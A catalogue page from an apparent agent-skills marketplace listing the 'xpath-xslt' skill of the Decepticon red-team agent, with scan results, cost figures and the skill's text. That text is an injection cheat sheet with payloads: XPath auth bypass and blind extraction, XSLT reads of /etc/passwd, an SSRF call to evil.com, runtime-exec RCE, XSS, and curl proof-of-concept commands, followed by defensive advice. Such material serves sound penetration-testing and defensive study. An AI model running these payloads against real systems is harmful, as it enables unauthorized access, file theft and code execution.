Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill xpath-xsltgit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/xpath-xslt)<a href="https://agentmods.dev/skills/purpleailab/decepticon/xpath-xslt"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/xpath-xslt/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/xpath-xslt"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/xpath-xslt.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 4 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 39 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 72 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Prompt Injection · line 45 Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
- medium Data Exfiltration · line 65 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00034 | $0.00797 |
| Opus 5 | $0.00017 | $0.00398 |
| Sonnet 5 | $0.00007 | $0.00159 |
| Haiku 4.5 | $0.00003 | $0.00080 |
Grade A, and why
xpath-xslt scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything" Copies of this mod
1 near-identical copy found in the catalogue:
- xpath-xslt — 95% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 93 lines — stays where its author put it; the contents beside it link to each section on GitHub.
XPath + XSLT Injection
XPath Injection
XPath = XML query language. User input concatenated into a query string = injection. Same shape as SQL injection but on XML data.
Auth bypass
# Vulnerable
query = f"//user[username='{user}' and password='{pw}']"
# Payload
user = "' or '1'='1" → //user[username='' or '1'='1' and password='']
user = "admin'] | //user[*='" → returns all users
Blind extraction
# Boolean
//user[username='admin' and substring(password, 1, 1)='a']
# Time-based — XPath has no sleep, but some impls support extensions
XSLT Injection
Worse than XPath: XSLT is Turing-complete and many engines support file I/O and RCE.
document() function — file read
<xsl:value-of select="document('file:///etc/passwd')"/>
<xsl:value-of select="document('http://evil.com/x')"/> ← SSRF
EXSLT — RCE on some engines
<!-- Saxon -->
<xsl:value-of select="saxon:evaluate('1+1')"/>
<!-- libxslt w/ Xalan-Java extension -->
<xsl:value-of select='rt:exec(rt:getRuntime(), "id")'/>
Reflected XSS via XSLT
<xsl:value-of select="//input" disable-output-escaping="yes"/>
<!-- attacker-controlled XML → unescaped output → XSS -->
Detection
- Endpoint accepts XML w/ XSLT transform (XML report builders, SOAP responses w/ XSLT)
- Apps using XPath: legacy intranets, file-based config querying, XML feeds
PoC
# XPath
curl -X POST "$TARGET/login" -d "user=' or '1'='1&pass=anything"
# XSLT file read
curl -X POST "$TARGET/transform" --data-binary @- <<'EOF'
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
EOF
Severity
- XPath auth bypass: Critical 9.8
- XSLT file read: Critical 9.0
- XSLT RCE: Critical 10.0
- Blind XPath extraction: High 7-8
Defender
- Use parameterized XPath via libraries (
lxml.etree.XPath(expr)w/ variable bindings) - Disable XSLT extensions by default
- Use
XSLT_SECPREFS_NO_NETWORK | XSLT_SECPREFS_NO_FILE(libxslt) - Sanitize / strict-validate XML input schema
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 93 lines · 34 tokens per session scan A 245de714ad10
xpath-xslt is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,482 stars, last pushed 11d ago), licensed Apache-2.0. It adds 34 tokens to every session and 797 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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